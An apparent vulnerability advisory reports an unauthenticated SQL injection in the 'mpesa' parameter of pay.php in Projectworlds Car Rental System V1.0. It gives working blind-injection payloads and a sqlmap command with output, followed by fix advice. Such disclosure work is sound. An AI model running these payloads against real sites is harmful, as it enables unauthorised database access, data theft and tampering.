Projectworlds Car Rental System Project Project V1.0 /pay.php SQL injection

NAME OF AFFECTED PRODUCT(S)

- Car Rental System

Vendor Homepage

- <https://projectworlds.com/free-projects/php-projects/car-rental-project-in-php-and-mysql/>

AFFECTED AND/OR FIXED VERSION(S)

submitter

- TianXiao

Vulnerable File

- /pay.php

VERSION(S)

- V1.0

Software Link

- <https://projectworlds.com/free-projects/php-projects/car-rental-project-in-php-and-mysql/>

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

• A SQL injection vulnerability was found in the 'pay.php' file of the 'Car Rental System' project. The reason for this issue is that attackers inject malicious code from the parameter 'mpesa' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

```
87 include 'includes/config.php';
88 $mpesa = $_POST['mpesa'];
89 $id_no = $_POST['id_no'];
90
91 $qry = "UPDATE client SET mpesa = '$mpesa' WHERE id_no = '$id_no'";
92 $result = $conn->query($qry);
```

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of " Car Rental System ",I discovered a critical SQL injection vulnerability in the "pay.php " file. This vulnerability stems from insufficient user input validation of the 'mpesa' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability Location:

- 'mpesa' parameter

Payload:

Parameter: mpesa (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause
(subquery - comment)

Payload: mpesa=12' AND 2411=(SELECT (CASE WHEN (2411=2411)
THEN 2411 ELSE (SELECT 1684 UNION SELECT 3267) END))--

Dcnz&id_no=23&pay=Submit Details

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: mpesa=12' AND (SELECT 7035 FROM
(SELECT(SLEEP(5))))YaMc)-- AjBM&id_no=23&pay=Submit Details

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -u " http://192.168.1.185/Car-Rental-Syatem-PHP-MYSQL-master/Car-Rental-Syatem-PHP-MYSQL-master/pay.php " --data="mpesa=12' AND (SELECT 7035 FROM (SELECT(SLEEP(5))))YaMc)-- AjBM&id_no=23&pay=Submit Details " --dbs
```

```
[10:31:40] [INFO] checking if the injection point on POST parameter 'mpesa' is a false positive
POST parameter 'mpesa' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 514 HTTP(s) requests:
----
Parameter: mpesa (POST)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
  Payload: mpesa=12' AND 2411=(SELECT (CASE WHEN (2411=2411) THEN 2411 ELSE (SELECT 1684 UNION SELECT 3267) END))-- Dcnz&id_no=23&pay=Submit Details

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: mpesa=12' AND (SELECT '7035' FROM (SELECT(SLEEP(5)))YaMc)-- AjBM&id_no=23&pay=Submit Details
----
[10:31:41] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
```

Suggested repair

1. Use prepared statements and parameter binding:
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
2. Input validation and filtering:
Strictly validate and filter user input data to ensure it conforms to the expected format.
3. Minimize database user permissions:
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as 'root 'or' admin ') for daily operations.
4. Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
